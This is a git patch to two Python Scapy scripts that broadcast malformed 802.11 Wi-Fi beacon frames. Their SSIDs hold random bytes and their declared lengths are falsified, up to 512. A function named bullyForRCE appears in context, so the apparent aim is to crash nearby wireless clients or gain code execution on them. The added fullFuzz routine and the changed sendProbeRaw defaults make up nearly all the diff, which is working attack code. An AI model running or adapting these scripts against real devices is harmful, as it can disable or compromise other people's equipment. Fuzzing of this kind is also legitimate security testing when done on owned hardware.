From 74ecdcb053840a8ffeeb1fd63d6789a9f4ef29eb Mon Sep 17 00:00:00 2001 From: PrincessPi3 Date: Fri, 27 Sep 2024 16:07:48 -0600 Subject: [PATCH] bump --- scapy/wifi-beacon-fuzz.py | 35 +++++++++++++++++++++++++++++++- scapy/wifi-beacon-random-byte.py | 13 ++++++------ 2 files changed, 41 insertions(+), 7 deletions(-) diff --git a/scapy/wifi-beacon-fuzz.py b/scapy/wifi-beacon-fuzz.py index 74751ff..de09559 100644 --- a/scapy/wifi-beacon-fuzz.py +++ b/scapy/wifi-beacon-fuzz.py @@ -75,6 +75,39 @@ def sendRandBytesBeaconsRaw( print(f"\n{i} of {numOfBeacons}\n\tRepeats: {repeat}\n\tListed Length: {listedLen}\n\tReal Length: {lenOfSSIDs}\n\tInterval: {interval} Seconds\n\tSSID: {urlEncoded}") sendProbeRaw(SSID, repeat, interval, listedLen) + + #sendRandBytesBeaconsRaw(numOfBeacons=100, lenOfSSIDs=1, listedLen=255, repeat=3, interval=0.15) #sendRandBytesBeacons(100, 20, 5, 0.1) -sendFuzzBeacons() + + +def fullFuzz( + numOfBeacons=200, + repeat=3, + interval=0.150): + + for i in range(numOfBeacons): + realLenSSID = random.randint(0,255) + SSID = random.randbytes(realLenSSID) + urlEncoded = urllib.parse.quote(SSID) + fakeLenSSID = random.randint(0,255) + senderMAC = RandMAC() + + dot11 = Dot11(type=0, subtype=8, + addr1='ff:ff:ff:ff:ff:ff', + addr2=senderMAC, + addr3=senderMAC) + + beacon = Dot11Beacon() + + essid = Dot11Elt(ID='SSID', + info=SSID, + len=fakeLenSSID) + + frame = RadioTap()/dot11/beacon/essid + + print(f"\n{i}/{numOfBeacons}\n\tEach Repeats: {repeat}\n\tReal Length: {realLenSSID}\n\tFake Length: {fakeLenSSID}\n\tSender MAC: {senderMAC}\n\tSSID: {urlEncoded}\n") + + sendp(frame, iface=iface, inter=interval, count=repeat) + +fullFuzz() \ No newline at end of file diff --git a/scapy/wifi-beacon-random-byte.py b/scapy/wifi-beacon-random-byte.py index 53b76d6..70b9bdc 100644 --- a/scapy/wifi-beacon-random-byte.py +++ b/scapy/wifi-beacon-random-byte.py @@ -15,11 +15,11 @@ def sendProbe(SSID, frame = RadioTap()/dot11/beacon/essid sendp(frame, iface=iface, inter=interval, count=repeat) -def sendProbeRaw(SSID, - repeat=1, - interval=0.200, - listedLen=255, - lenOverride=False): +def sendProbeRaw(SSID='F', + repeat=3, + interval=0.150, + listedLen=512, + lenOverride=True): dot11 = Dot11(type=0, subtype=8, addr1='ff:ff:ff:ff:ff:ff', addr2=sender, addr3=sender) beacon = Dot11Beacon() @@ -125,5 +125,6 @@ def bullyForRCE(max=10000, print(f"\nSending {i}/{max}\n\tWith SSID {urlEncoded}\n\tWith Length Of {listedLen}") sendp(frame, iface=iface, inter=interval, count=repeat) -bullyForRCE() +sendProbeRaw(repeat=300) +#bullyForRCE() #sendRandBytesBeacons(100, 20, 5, 0.1)